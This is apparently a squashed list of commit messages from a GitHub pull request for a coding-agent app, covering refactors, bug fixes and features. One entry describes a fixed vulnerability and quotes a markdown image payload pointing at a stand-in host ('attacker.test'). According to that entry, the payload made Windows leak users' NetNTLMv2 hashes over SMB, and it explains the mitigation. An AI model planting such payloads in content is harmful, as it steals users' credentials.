* refactor(web): timeline work entry rows and tool icons live in their own files (pingdotgg#22674)

Co-authored-by: Claude Opus 5.5 <[email protected]>

* refactor(web): timeline work group and live activity rows live in their own file (pingdotgg#22675)

Co-authored-by: Claude Opus 5.5 <[email protected]>

* refactor(web): timeline user message rows and context chips live in their own files (pingdotgg#22676)

Co-authored-by: Claude Opus 5.5 <[email protected]>

* refactor(web): timeline assistant and orchestration event rows live in their own files (pingdotgg#22677)

Co-authored-by: Claude Opus 5.5 <[email protected]>

* refactor(web): timeline row derivation, position restore and find reader live in hooks (pingdotgg#22682)

Co-authored-by: Claude Opus 5.5 <[email protected]>

* refactor(web): the command palette's theme items live in their own file (pingdotgg#22679)

Co-authored-by: Claude Opus 5.5 <[email protected]>

* refactor(web): the command palette's thread items come from their own hook (pingdotgg#22687)

Co-authored-by: Claude Opus 5.5 <[email protected]>

* refactor(web): the command palette's project items and pure helpers live in their own files (pingdotgg#22699)

Co-authored-by: Claude Opus 5.5 <[email protected]>

* refactor(web): the command palette's add-project views are components (pingdotgg#22707)

Co-authored-by: Claude Opus 5.5 <[email protected]>

* feat(cli): start, message, and read threads from the terminal with t3 thread (pingdotgg#22732)

Co-authored-by: Claude Opus 5.5 <[email protected]>

* refactor(web): composer attachment tiles live in their own component (pingdotgg#22689)

Co-authored-by: Claude Opus 5.5 <[email protected]>

* refactor(web): resting image previews and queued attachments are their own components (pingdotgg#22719)

Co-authored-by: Claude Opus 5.5 <[email protected]>

* refactor(web): composer mode controls and footer actions live in ComposerFooterControls (pingdotgg#22720)

Co-authored-by: Claude Opus 5.5 <[email protected]>

* refactor(web): typing no longer re-renders the composer model picker (pingdotgg#22721)

Co-authored-by: Claude Opus 5.5 <[email protected]>

* refactor(web): composer suggestion lists are built by useComposerMenuItems (pingdotgg#22722)

Co-authored-by: Claude Opus 5.5 <[email protected]>

* refactor(web): the sidebar's thread rows live in their own file (pingdotgg#22696)

Co-authored-by: Claude Opus 5.5 <[email protected]>

* refactor(web): sidebar list markers and draft rows live in their own files (pingdotgg#22729)

Co-authored-by: Claude Opus 5.5 <[email protected]>

* feat(dev): first dev start seeds real data and warms deps (pingdotgg#22744)

Co-authored-by: Claude Opus 5.5 <[email protected]>

* refactor(web): the pull requests column lives in its own component (pingdotgg#22671)

Co-authored-by: Claude Opus 5.5 <[email protected]>

* refactor(web): the pull request header's crumbs, title editor and base branch live in their own components (pingdotgg#22672)

Co-authored-by: Claude Opus 5.5 <[email protected]>

* refactor(web): the pull request header's actions live in their own components (pingdotgg#22702)

Co-authored-by: Claude Opus 5.5 <[email protected]>

* refactor(web): the pull request detail loader lives in its own hook (pingdotgg#22703)

Co-authored-by: Claude Opus 5.5 <[email protected]>

* refactor(web): the pull request list's rows read the speed-mode modifier themselves (pingdotgg#22704)

Co-authored-by: Claude Opus 5.5 <[email protected]>

* refactor(web): the pull requests page's scope and grouping hooks live in their own module (pingdotgg#22705)

Co-authored-by: Claude Opus 5.5 <[email protected]>

* refactor(web): the pull requests route only validates its search; the page lives under components (pingdotgg#22706)

Co-authored-by: Claude Opus 5.5 <[email protected]>

* perf(web): Shift re-renders only each row's quick-action group (pingdotgg#22726)

Co-authored-by: Claude Opus 5.5 <[email protected]>

* refactor(web): the pull request list's grouping helper lives in a logic module (pingdotgg#22727)

Co-authored-by: Claude Opus 5.5 <[email protected]>

* refactor(web): chat markdown code blocks live in their own module (pingdotgg#22690)

Co-authored-by: Claude Opus 5.5 <[email protected]>

* refactor(web): the Mermaid code block lives in its own component file (pingdotgg#22691)

Co-authored-by: Claude Opus 5.5 <[email protected]>

* refactor(web): chat markdown tables and details live in their own components (pingdotgg#22692)

Co-authored-by: Claude Opus 5.5 <[email protected]>

* refactor(web): chat markdown links and file chips live in their own modules (pingdotgg#22693)

Co-authored-by: Claude Opus 5.5 <[email protected]>

* refactor(web): chat markdown images and videos live in their own module (pingdotgg#22694)

Co-authored-by: Claude Opus 5.5 <[email protected]>

* refactor(web): ChatView's module-level helpers live in their own files (pingdotgg#22665)

Co-authored-by: Claude Opus 5.5 <[email protected]>

* refactor(web): ChatView's persistent terminal drawers live in their own component (pingdotgg#22680)

Co-authored-by: Claude Opus 5.5 <[email protected]>

* refactor(web): ChatView's right panel lives in its own component (pingdotgg#22700)

Co-authored-by: Claude Opus 5.5 <[email protected]>

* refactor(web): ChatView's timeline follow and anchoring lives in useTimelineFollow (pingdotgg#22701)

Co-authored-by: Claude Opus 5.5 <[email protected]>

* refactor(web): ChatView's machine and server-update banners live in useSystemComposerBanners (pingdotgg#22710)

Co-authored-by: Claude Opus 5.5 <[email protected]>

* refactor(web): ChatView's subagent, goal, background-work and branch banners are built in ThreadActivityBanners (pingdotgg#22725)

Co-authored-by: Claude Opus 5.5 <[email protected]>

* refactor(web): ChatView's draft machine routing lives in useDraftEnvironmentRouting (pingdotgg#22728)

Co-authored-by: Claude Opus 5.5 <[email protected]>

* refactor(web): ChatView's send preparation is pure functions in ChatView.logic (pingdotgg#22734)

Co-authored-by: Claude Opus 5.5 <[email protected]>

* refactor(web): the archived threads settings page lives in its own file (pingdotgg#22666)

Co-authored-by: Claude Opus 5.5 <[email protected]>

* refactor(web): the typography settings section lives in its own file (pingdotgg#22667)

Co-authored-by: Claude Opus 5.5 <[email protected]>

* refactor(web): the appearance settings page lives in its own file (pingdotgg#22668)

Co-authored-by: Claude Opus 5.5 <[email protected]>

* refactor(web): the background activity setting and its dialog live in their own file (pingdotgg#22669)

Co-authored-by: Claude Opus 5.5 <[email protected]>

* refactor(web): the connections page's pure helpers live in ConnectionsSettings.logic (pingdotgg#22683)

Co-authored-by: Claude Opus 5.5 <[email protected]>

* refactor(web): authorized clients and endpoint rows live in their own file (pingdotgg#22684)

Co-authored-by: Claude Opus 5.5 <[email protected]>

* refactor(web): saved and T3 Connect environment rows live in their own file (pingdotgg#22685)

Co-authored-by: Claude Opus 5.5 <[email protected]>

* perf(server): skip the macOS xcrun git shim (pingdotgg#22759)

Co-authored-by: Claude Opus 5.5 <[email protected]>

* docs(agents): read vendored .repos with git show when sparse-excluded (pingdotgg#22764)

Co-authored-by: Claude Opus 5.5 <[email protected]>

* fix(web): ⌘Z undoes a settle even when the composer has focus (pingdotgg#22607)

Co-authored-by: ishaanko <[email protected]>
Co-authored-by: Claude Opus 5.5 <[email protected]>

* feat(scripts): one command checks what the branch changed (pingdotgg#22767)

Co-authored-by: Claude Opus 5.5 <[email protected]>

* fix(scripts): check:changed no longer skips knip after a removed import (pingdotgg#22784)

Co-authored-by: Claude Opus 5.5 <[email protected]>

* perf(dev): faster first load for shared dev servers (pingdotgg#22776)

Co-authored-by: Claude Opus 5.5 <[email protected]>

* fix(server): stalled clones say "Stalled" instead of a frozen speed (pingdotgg#22780)

Co-authored-by: Claude Opus 5.5 <[email protected]>

* fix(web): steers split a finished turn's work instead of stacking under it (pingdotgg#22783)

Co-authored-by: Claude Opus 5.5 <[email protected]>

* fix(web): images on their own line no longer sit beside their label (pingdotgg#22787)

Co-authored-by: Claude Opus 5.5 <[email protected]>

* fix(release): include pnpm hook in Vercel uploads (pingdotgg#22813)

* fix(release): keep Vercel warnings out of deployment URLs (pingdotgg#22817)

* fix(queue): send selected held messages when a thread is stopped (pingdotgg#22790)

* fix(server): delegated Claude children follow your subagent cache TTL setting (pingdotgg#22841)

Co-authored-by: Claude Opus 5.5 <[email protected]>

* fix(server): t3 pair in a worktree no longer falls back to the live install (pingdotgg#22855)

Co-authored-by: Claude Opus 5.5 <[email protected]>

* fix(server): avoid expensive diff minimization in status refreshes (pingdotgg#21872)

Co-authored-by: Claude Opus 5.5 <[email protected]>

* fix(codex): keep every path of a multi-file patch (pingdotgg#22541)

Co-authored-by: Claude Opus 5.5 <[email protected]>
Co-authored-by: GPT-6.1 Sol <[email protected]>

* fix(gitlab): merge request diffs page 30 files at a time so GitLab 15.7 to 17.10 answer (pingdotgg#21909)

* fix(server): keep Antigravity question options and no-custom-answer flag in V2 (pingdotgg#22019)

* fix(server): commit prompts no longer repeat CLAUDE.md when it matches AGENTS.md (pingdotgg#22848)

Co-authored-by: Claude Opus 5.5 <[email protected]>

* fix(mcp): point a bare thread uuid at its mcp: thread in thread_not_found (pingdotgg#22452)

* fix(opencode): out-of-funds failures show OpenCode's message instead of a usage limit (pingdotgg#22596)

* fix(shared): accept a pasted ChatGPT callback URL that is missing http:// (pingdotgg#21750)

* fix(server): the background service picks up JAVA_HOME from the login shell (pingdotgg#22856)

Co-authored-by: Claude Opus 5.5 <[email protected]>

* fix(server): answered questions say "already answered" instead of "not found" (pingdotgg#22850)

Co-authored-by: Claude Opus 5.5 <[email protected]>

* fix(desktop): an abandoned browser sign-in no longer blocks T3 Connect for 3 minutes (pingdotgg#22903)

On desktop, an abandoned browser sign-in blocked every T3 Connect sign-in for 3 minutes. A new attempt now replaces the stale Clerk flow, and a Cancel bar resets the sheet. Takeover of pingdotgg#22708.

Co-authored-by: steve-ai-vibe <[email protected]>
Co-Authored-By: Claude Opus 5.5 <[email protected]>

* fix(server): agents get a short, current model list instead of a 55k-character catalog dump (pingdotgg#22889)

Co-authored-by: Claude Opus 5.5 <[email protected]>

* docs(agents): proof for a bug fix depends on the bug (pingdotgg#23008)

Co-authored-by: Claude Fable 5.1 <[email protected]>

* fix(server): removing a worktree on Windows no longer deletes what its junctions point to (pingdotgg#21099)

Co-authored-by: sheehanmunim <[email protected]>
Co-authored-by: Claude Opus 5.5 <[email protected]>
Co-authored-by: Julius Marminge <[email protected]>

* perf(web): a streaming thread re-renders only its own sidebar row (pingdotgg#22730)

Co-authored-by: Claude Opus 5.5 <[email protected]>

* refactor(web): the add environment dialog owns its form state (pingdotgg#22686)

Co-authored-by: Claude Opus 5.5 <[email protected]>

* fix(desktop): use Clerk's upstream fix for abandoned browser sign-ins (pingdotgg#23038)

* feat: show automation messages as compact timeline rows (pingdotgg#22638)

Co-authored-by: Claude Opus 5.5 <[email protected]>

* feat(server,web,mobile): approvals in full access say why Claude asked (pingdotgg#22546)

Co-authored-by: Claude Opus 5.5 <[email protected]>

* feat(claude): idle compaction has a global default and per-instance overrides (pingdotgg#23037)

Co-authored-by: Claude Opus 5.5 <[email protected]>

* perf(web): typing no longer re-renders the traits picker or attach button (pingdotgg#23040)

Co-authored-by: Claude Opus 5.5 <[email protected]>

* refactor(web): the composer's layout and provider hooks live in their own files (pingdotgg#23042)

Co-authored-by: Claude Opus 5.5 <[email protected]>

* refactor(web): the prompt stash lives in useComposerStash (pingdotgg#23046)

Co-authored-by: Claude Opus 5.5 <[email protected]>

* refactor(web): composer context imports live in useComposerContextImport (pingdotgg#23048)

Co-authored-by: Claude Opus 5.5 <[email protected]>

* refactor(web): composer file intake lives in useComposerAttachmentIntake (pingdotgg#23049)

Co-authored-by: Claude Opus 5.5 <[email protected]>

* refactor(web): the composer's footer controls render in ComposerControlsBar (pingdotgg#23058)

Co-authored-by: Claude Opus 5.5 <[email protected]>

* refactor(web): composer key handling lives in useComposerCommandKey (pingdotgg#23060)

Co-authored-by: Claude Opus 5.5 <[email protected]>

* refactor(web): ChatView's send paths live in useComposerSend (pingdotgg#23062)

Co-authored-by: Claude Opus 5.5 <[email protected]>

* refactor(web): ChatView's terminal actions live in useChatTerminalActions (pingdotgg#23063)

Co-authored-by: Claude Opus 5.5 <[email protected]>

* refactor(web): ChatView's right panel actions live in useRightPanelActions (pingdotgg#23064)

Co-authored-by: Claude Opus 5.5 <[email protected]>

* refactor(web): ChatView's snooze, settle, and checkout actions live in useThreadLifecycle (pingdotgg#23065)

Co-authored-by: Claude Opus 5.5 <[email protected]>

* refactor(web): ChatView's revert, rollback, and fork live in useTimelineRewind (pingdotgg#23066)

Co-authored-by: Claude Opus 5.5 <[email protected]>

* refactor(web): ChatView's attachment preview handoff lives in useAttachmentPreviewHandoff (pingdotgg#23067)

Co-authored-by: Claude Opus 5.5 <[email protected]>

* refactor(web): ChatView's project clone banner lives in useProjectCloneBanner (pingdotgg#23068)

Co-authored-by: Claude Opus 5.5 <[email protected]>

* refactor(web): ChatView's model, mode, and workspace choices live in useComposerSelection (pingdotgg#23069)

Co-authored-by: Claude Opus 5.5 <[email protected]>

* refactor(web): ChatView's pull request checkout lives in usePullRequestDraftThread (pingdotgg#23070)

Co-authored-by: Claude Opus 5.5 <[email protected]>

* refactor(web): ChatView's thread derivations are tested functions in ChatView.logic (pingdotgg#23071)

Co-authored-by: Claude Opus 5.5 <[email protected]>

* refactor(web): ChatView's paste-to-focus, titlebar controls, and timeline overlays move out (pingdotgg#23072)

Co-authored-by: Claude Opus 5.5 <[email protected]>

* fix(cursor): a closed-stream write in the Cursor SDK no longer stops the server (pingdotgg#22897)

Co-authored-by: MarMarLabs <[email protected]>
Co-authored-by: Claude Opus 5.5 <[email protected]>

* fix(server): Codex no longer offers a one-click update for installs it can't detect (pingdotgg#22504)

* fix(pi): declare properties on MCP tool schemas that omit them (pingdotgg#21822)

Co-authored-by: Claude Sonnet 5.5 <[email protected]>

* fix(server): a desktop backend whose launcher died shuts down cleanly instead of crashing (pingdotgg#22471)

* fix(mobile): chat feed no longer re-derives on every render (pingdotgg#22913)

Co-authored-by: flamboh <[email protected]>
Co-authored-by: Claude Opus 5.5 <[email protected]>

* docs(user): the outside agents guide says which addresses agents can sign in over (pingdotgg#22377)

Co-authored-by: Claude Sonnet 5.5 <[email protected]>

* fix(server): HTML preview reports a browser start error instead of an internal error (pingdotgg#22895)

Co-authored-by: ScottN-PV <[email protected]>
Co-authored-by: Claude Opus 5.5 <[email protected]>

* fix(tailscale): a timed-out tailscale probe no longer outlives its call (pingdotgg#22900)

Co-authored-by: fixfon <[email protected]>
Co-authored-by: Claude Opus 5.5 <[email protected]>

* docs(composer): queued messages follow the Follow-up behavior setting (pingdotgg#22857)

Co-authored-by: Claude Opus 5.5 <[email protected]>

* fix(server): failed provider updates say why (pingdotgg#22506)

* test(telemetry): keep fixture PIDs from colliding with the test worker (pingdotgg#21446)

Co-authored-by: Claude Opus 5.5 <[email protected]>

* fix(server): server tests resolve the macOS temp dir symlink (pingdotgg#21442)

Co-authored-by: Claude Opus 5.5 <[email protected]>

* fix(scripts): mobile lint fails instead of passing when ktlint or detekt is missing (pingdotgg#22896)

Co-authored-by: Shubh <[email protected]>
Co-authored-by: Claude Opus 5.5 <[email protected]>

* fix(server): t3_thread_read clamps oversized page sizes instead of failing (pingdotgg#22901)

Co-authored-by: fixfon <[email protected]>
Co-authored-by: Claude Opus 5.5 <[email protected]>
Co-authored-by: grey-tsosie <[email protected]>

* fix(mobile): opening a pull request no longer crashes with "Maximum update depth exceeded" (pingdotgg#22600)

Co-authored-by: Claude Opus 5.5 <[email protected]>

* fix(web): PR Code tab keeps its files after a refresh with an unchanged diff (pingdotgg#22917)

Co-authored-by: Rodrigo Brechard <[email protected]>
Co-authored-by: Claude Opus 5.5 <[email protected]>

* fix(web): finished provider updates no longer leave a hidden spinner in the sidebar (pingdotgg#22912)

Co-authored-by: 1kuna <[email protected]>
Co-authored-by: Claude Opus 5.5 <[email protected]>

* fix(composer): mentions of files like `posts.$postId.tsx` or `[id].tsx` stay chips (pingdotgg#22922)

Co-authored-by: Victor Vogel <[email protected]>
Co-authored-by: Claude Opus 5.5 <[email protected]>

* refactor(web): resuming an interrupted run lives in its own hook (pingdotgg#23087)

Co-authored-by: Claude Opus 5.5 <[email protected]>

* refactor(web): proposed-plan follow-ups and implement-in-new-thread live in their own hooks (pingdotgg#23091)

Co-authored-by: Claude Opus 5.5 <[email protected]>

* refactor(web): multiple-model sends live in their own hook (pingdotgg#23094)

Co-authored-by: Claude Opus 5.5 <[email protected]>

* refactor(web): the composer send reads its own settings and draft instead of taking them from ChatView (pingdotgg#23095)

Co-authored-by: Claude Opus 5.5 <[email protected]>

* refactor(web): ComposerControlsBar renders without a memo() wrapper (pingdotgg#23093)

Co-authored-by: Claude Opus 5.5 <[email protected]>

* refactor(web): chat shortcuts live with the hooks that own their actions (pingdotgg#23097)

Co-authored-by: Claude Opus 5.5 <[email protected]>

* refactor(web): ChatView's timeline banners render in ChatBannerLane (pingdotgg#23101)

Co-authored-by: Claude Opus 5.5 <[email protected]>

* fix(web): the branch toolbar and thread details panel stay cached while a reply streams (pingdotgg#23103)

Co-authored-by: Claude Opus 5.5 <[email protected]>

* fix(server): scheduled tasks no longer jump to the top when toggled (pingdotgg#22899)

Co-authored-by: Victor Vogel <[email protected]>
Co-authored-by: Claude Opus 5.5 <[email protected]>

* fix(server): Forgejo and GitCafe pull requests link to their threads again (pingdotgg#22937)

Co-authored-by: Claude Opus 5.5 <[email protected]>

* fix(server): pushes the remote refuses say why instead of a generic failure (pingdotgg#22904)

Co-authored-by: fixfon <[email protected]>
Co-authored-by: Claude Opus 5.5 <[email protected]>

* fix(composer): typing a price no longer opens the skill menu (pingdotgg#21519)

Co-authored-by: Claude Opus 5.5 <[email protected]>

* fix(web): thread details PR merge uses the last selected merge method (pingdotgg#22399)

* fix(web): a Usage toggle shortcut now goes back instead of staying on Usage (pingdotgg#22905)

Co-authored-by: Victor Vogel <[email protected]>
Co-authored-by: GPT-6.1 Sol <[email protected]>
Co-authored-by: Claude Opus 5.5 <[email protected]>

* fix(web): quote comment box stays on screen for long code lines (pingdotgg#22149)

Co-authored-by: Claude Opus 5.5 <[email protected]>

* fix(web): right panel launcher letters open their surface instead of typing into the composer (pingdotgg#22898)

Co-authored-by: fixfon <[email protected]>
Co-authored-by: Claude Opus 5.5 <[email protected]>

* fix(web): ../ file links outside the workspace open as host files (pingdotgg#22853)

Co-authored-by: Claude Opus 5.5 <[email protected]>

* fix(shared): recognize relative folder links with trailing slash (pingdotgg#22188)

Co-authored-by: macodev00 <[email protected]>

* fix(client): usage limits skip disabled connections (pingdotgg#22936)

Co-authored-by: Claude Opus 5.5 <[email protected]>

* fix(web): imported VS Code themes keep destructive buttons red (pingdotgg#21924)

* fix(shared): Azure DevOps repositories with a space in the name list their pull requests (pingdotgg#22782)

* fix(opencode): cancelled todos no longer keep the todo list running (pingdotgg#22938)

Co-authored-by: Claude Opus 5.5 <[email protected]>

* fix(web): copy to machine clones the fork, not its upstream (pingdotgg#22492)

* fix(server): JetBrains IDEs open file links at the right column (pingdotgg#22826)

Co-authored-by: Claude Opus 5.5 <[email protected]>

* fix(server): sync pull request draft status changes (pingdotgg#22832)

* test(web): chat shortcut test types through the composer handle (pingdotgg#23126)

Co-authored-by: Claude Opus 5.5 <[email protected]>

* Merge commit from fork

A markdown image such as ![x](file://attacker.test/share/cat.jpg), or a raw
\\host\share path, was classified as a host file. Rendering it asked the
server for a signed asset URL, and the server's realpath on the resulting UNC
path made Windows open an SMB session and send the user's NetNTLMv2 response
to the attacker's host, with no click and no tool call. File-link chips did
the same through filesystem.getMetadata, which stats every absolute path, and
storage cleanup stats the store paths in a worktree's pnpm manifest, which an
agent can write.

Network paths (two leading separators, as Windows reads them: \\h, //h, /\h)
now only resolve inside the thread's project, so projects on a share keep
working:

- clients block them in markdown images and stop treating them as file links
- the web stops asking for their metadata
- the server refuses them for media assets and file reads outside the
  project, never stats one for metadata, and storage cleanup ignores a pnpm
  manifest that names one
- each check hands the filesystem the resolved path it approved, since
  Windows reads a `\\?\` path as written, `..` included

Co-authored-by: Claude Opus 5.5 <[email protected]>

* fix(source-control): merge messages drop Claude Code's current claude.com footer (pingdotgg#23133)

Co-authored-by: Claude Opus 5.5 <[email protected]>

* fix(build): pin Node 26.12.1 for development and standalone releases (pingdotgg#23165)

* fix(mobile): keep Duo toolbar actions clear of workspace tabs (pingdotgg#22976)

Co-authored-by: Claude Opus 5.5 <[email protected]>

* fix(mobile): respect Duo safe areas in overlays (pingdotgg#22977)

Co-authored-by: Claude Opus 5.5 <[email protected]>

* fix(mobile): retain resting scroll offsets through Duo inset changes (pingdotgg#22978)

Co-authored-by: Claude Opus 5.5 <[email protected]>

* fix(mobile): deliver the first tab selection after Duo folding (pingdotgg#22979)

Co-authored-by: Claude Opus 5.5 <[email protected]>

* fix(mobile): use native full-width sheets on iPhone Duo (pingdotgg#22980)

Co-authored-by: Pixel Perfect <[email protected]>
Co-authored-by: Claude Opus 5.5 <[email protected]>

* fix(mobile): the pull requests tab's empty detail asks for a pull request (pingdotgg#23143)

Co-authored-by: Claude Opus 5.5 <[email protected]>

* fix(mobile): the iPhone Duo keeps list titles through folds and unfolds with its sidebar (pingdotgg#23144)

Co-authored-by: Claude Opus 5.5 <[email protected]>

* fix(mobile): the iPhone Duo searches from a field at the bottom of its list (pingdotgg#23145)

Co-authored-by: Claude Opus 5.5 <[email protected]>

* fix(mobile): a closed search no longer risks freezing the app (pingdotgg#23146)

Co-authored-by: Claude Opus 5.5 <[email protected]>

* fix(mobile): folding the Duo keeps the thread's end or the reader's line in place (pingdotgg#23147)

Co-authored-by: Claude Opus 5.5 <[email protected]>

* fix(mobile): the iPhone Duo's search field and composer line up with its tab bar (pingdotgg#23148)

Co-authored-by: Claude Opus 5.5 <[email protected]>

* fix(mobile): Screens 5.0.0-t3.36 stops an iPhone Duo unfold crash (pingdotgg#23149)

Co-authored-by: Claude Opus 5.5 <[email protected]>

* fix(mobile): the iPhone Duo's inspector panes use the full column (pingdotgg#23150)

Co-authored-by: Claude Opus 5.5 <[email protected]>

* fix(gitcafe): show line counts on linked and listed pull requests (pingdotgg#22633)

* docs(import): correct conversation size and batch limits (pingdotgg#23226)

Co-authored-by: Claude Opus 5.5 <[email protected]>

* fix(server): stop abandoned turns before continuing threads (pingdotgg#23169)

* feat(server): export how long runs take and how they end (pingdotgg#22094)

Co-authored-by: Claude Opus 5.5 <[email protected]>

* fix(mobile): new-thread heading clears the iPad header (pingdotgg#23206)

Co-authored-by: Claude Opus 5.5 <[email protected]>

* fix(pi): fork completed turns while the next turn is running (pingdotgg#23052)

Co-authored-by: Claude Opus 5.5 <[email protected]>

* fix(mobile): drafts swipe to discard and every row move animates (pingdotgg#23205)

Co-authored-by: Claude Opus 5.5 <[email protected]>

* feat(server): webhook filters fan out over arrays with a [] path wildcard (pingdotgg#23282)

Co-authored-by: Claude Fable 5.1 <[email protected]>

* fix(web): Arabic and Hebrew text reads and navigates right to left (pingdotgg#22777)

Co-authored-by: Claude Opus 5.5 <[email protected]>

* fix(client-runtime): refresh Git refs when the RPC session changes (pingdotgg#23314)

* fix(web): cap list layout passes to prevent React error 185 (pingdotgg#23315)

* fix(mobile): align iPad composer without shifting on keyboard focus (pingdotgg#23355)

* feat(gitcafe): request reviewers and apply labels on GitCafe pull requests (pingdotgg#23034)

Co-authored-by: Claude Opus 5.5 <[email protected]>

* fix(source-control): clones retry over HTTPS when the SSH key is refused (pingdotgg#23170)

Co-authored-by: Claude Opus 5.5 <[email protected]>

* fix(mobile): the iOS composer reopens where you left a long draft (pingdotgg#23096)

Co-authored-by: Vishal <[email protected]>
Co-authored-by: Claude Opus 5.5 <[email protected]>
Co-authored-by: PR Batch Tester <[email protected]>
Co-authored-by: Vishal Doshi <[email protected]>

* fix(mobile): preserve new-thread drafts and native header layout (pingdotgg#23366)

* feat: ChatGPT Business usage limits offer a copyable admin request (pingdotgg#23361)

Co-authored-by: Claude Opus 5.5 <[email protected]>

* fix(web): paused sidebar videos stop reloading after every command (pingdotgg#23106)

Co-authored-by: PR Batch Tester <[email protected]>
Co-authored-by: Nikita Maximilian Grimm <[email protected]>
Co-authored-by: Claude Opus 5.5 <[email protected]>

* chore(typecheck): typescript is the tsc-rs drop-in, no effect-tsgo patch (pingdotgg#23023)

Co-authored-by: Claude Opus 5.5 <[email protected]>

* fix(mobile): Dynamic Island status no longer wraps next to other Live Activities (pingdotgg#23327)

Fixes pingdotgg#15682. Takes over pingdotgg#23035.

Co-authored-by: Taylor Dolezal <[email protected]>
Co-Authored-By: Claude Opus 5.5 <[email protected]>

* perf(web): streamed reply text no longer re-renders ChatView (pingdotgg#23117)

Co-authored-by: Claude Opus 5.5 <[email protected]>

* perf(web): visit marks during a reply no longer re-render ChatView (pingdotgg#23124)

Co-authored-by: Claude Opus 5.5 <[email protected]>

* fix(server): a Claude agent stops when the server that started it dies (pingdotgg#23389)

Co-authored-by: PR Batch Tester <[email protected]>
Co-authored-by: Claude Opus 5.5 <[email protected]>

* fix(server): SSH hosts no longer keep every old 300 MB runtime after desktop updates (pingdotgg#23113)

Co-authored-by: PR Batch Tester <[email protected]>
Co-authored-by: Claude Opus 5.5 <[email protected]>

* fix(settings): older clients connect again after idle compaction modes (pingdotgg#23454)

Co-authored-by: Claude Opus 5.5 <[email protected]>

* fix(mobile): unify draft and thread navigation and composer behavior (pingdotgg#23467)

* ci: setup survives npm registry outages (pingdotgg#23582)

Co-authored-by: Claude Opus 5.5 <[email protected]>

* feat(web,mobile): messages from other agents fold into one-line rows (pingdotgg#23135)

Co-authored-by: PR Batch Tester <[email protected]>
Co-authored-by: Claude Opus 5.5 <[email protected]>

* fix(web): subagent bar keeps model and status readable in narrow chat columns (pingdotgg#23502)

Co-authored-by: PR Batch Tester <[email protected]>
Co-authored-by: Claude Opus 5.5 <[email protected]>

* fix(chat): mark tool images beyond the preview limit (pingdotgg#23595)

Co-authored-by: GPT-6.1 Sol <[email protected]>

* fix(web): provider updates no longer pop toasts on launch (pingdotgg#23233)

* fix(server): probe the Windows startup environment asynchronously (pingdotgg#21720)

* fix(usage): count initial Codex requests with inherited totals (pingdotgg#23729)

* chore(mobile): bump app version to 2.1.0

Co-authored-by: codex <[email protected]>

* fix(web): let toast content use the full accordion width (pingdotgg#23777)

* fix(web): sidebar follows the active thread after history navigation (pingdotgg#23519)

Co-authored-by: Claude Opus 5.5 <[email protected]>

* fix(safe): preserve sync policy gates and bound dependency reviews

* chore(safe): create and babysit sync PRs without another approval

* fix(safe): separate online release ages from reviewed baseline drift

* fix(safe): preserve the reviewed pnpm hook in frozen install stages

* fix(desktop): use lint-compliant Node import names

* fix(safe): reject commented YAML document separators

* fix(safe): record reviewed v0.1.2 artifact contexts

---------

Co-authored-by: maria <[email protected]>
Co-authored-by: Julius Marminge <[email protected]>
Co-authored-by: Claude Opus 5.5 <[email protected]>
Co-authored-by: oliver <[email protected]>
Co-authored-by: Theo Browne <[email protected]>
Co-authored-by: syberia <[email protected]>
Co-authored-by: t3-code[bot] <269035359+t3-code[bot]@users.noreply.github.com>
Co-authored-by: Yash Singh <[email protected]>
Co-authored-by: Fuksss <[email protected]>
Co-authored-by: ishaanko <[email protected]>
Co-authored-by: Lakshmi Tanmay <[email protected]>
Co-authored-by: Victor Vogel <[email protected]>
Co-authored-by: GPT-6.1 Sol <[email protected]>
Co-authored-by: Igor Makowski <[email protected]>
Co-authored-by: fixfon <[email protected]>
Co-authored-by: project516 <[email protected]>
Co-authored-by: steve-ai-vibe <[email protected]>
Co-authored-by: Dara Adedeji <[email protected]>
Co-authored-by: sheehanmunim <[email protected]>
Co-authored-by: Robert Soriano <[email protected]>
Co-authored-by: MarMarLabs <[email protected]>
Co-authored-by: Koushik_xd <[email protected]>
Co-authored-by: Taissa <[email protected]>
Co-authored-by: flamboh <[email protected]>
Co-authored-by: Gourav Kumar Dhiman <[email protected]>
Co-authored-by: ScottN-PV <[email protected]>
Co-authored-by: tatsuaki watanabe <[email protected]>
Co-authored-by: Shubh <[email protected]>
Co-authored-by: grey-tsosie <[email protected]>
Co-authored-by: Rodrigo Brechard <[email protected]>
Co-authored-by: 1kuna <[email protected]>
Co-authored-by: MarcoDotIO <[email protected]>
Co-authored-by: Tristan Knight <[email protected]>
Co-authored-by: Etan Heyman <[email protected]>
Co-authored-by: maco <[email protected]>
Co-authored-by: macodev00 <[email protected]>
Co-authored-by: M4NU5 <[email protected]>
Co-authored-by: Louis Gollut <[email protected]>
Co-authored-by: Pavel Kroupa <[email protected]>
Co-authored-by: AKolenda <[email protected]>
Co-authored-by: Lev Poznyakov <[email protected]>
Co-authored-by: Alex <[email protected]>
Co-authored-by: يزن حمزه <[email protected]>
Co-authored-by: shivam <[email protected]>
Co-authored-by: Vishal <[email protected]>
Co-authored-by: PR Batch Tester <[email protected]>
Co-authored-by: Vishal Doshi <[email protected]>
Co-authored-by: Nikita Maximilian Grimm <[email protected]>
Co-authored-by: Taylor Dolezal <[email protected]>
Co-authored-by: Utkarsh Patil <[email protected]>
Co-authored-by: codex <[email protected]>
incognitojam pushed a commit to incognitojam/styal that referenced this pull request Oct 31, 2026
… Activities (pingdotgg#23327)

Fixes pingdotgg#15682. Takes over pingdotgg#23035.

Co-authored-by: Taylor Dolezal <[email protected]>
Co-Authored-By: Claude Opus 5.5 <[email protected]>
(cherry picked from commit 96bae54)
Upstream-PR: 23327
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

size:M 30-99 changed lines (additions + deletions). vouch:unvouched Author is not yet trusted in the VOUCHED list.

Projects

None yet

Development

Successfully merging this pull request may close these issues.

[Bug]: iOS Live Activity compact status text wraps onto two lines when another Live Activity shares the Dynamic Island

3 participants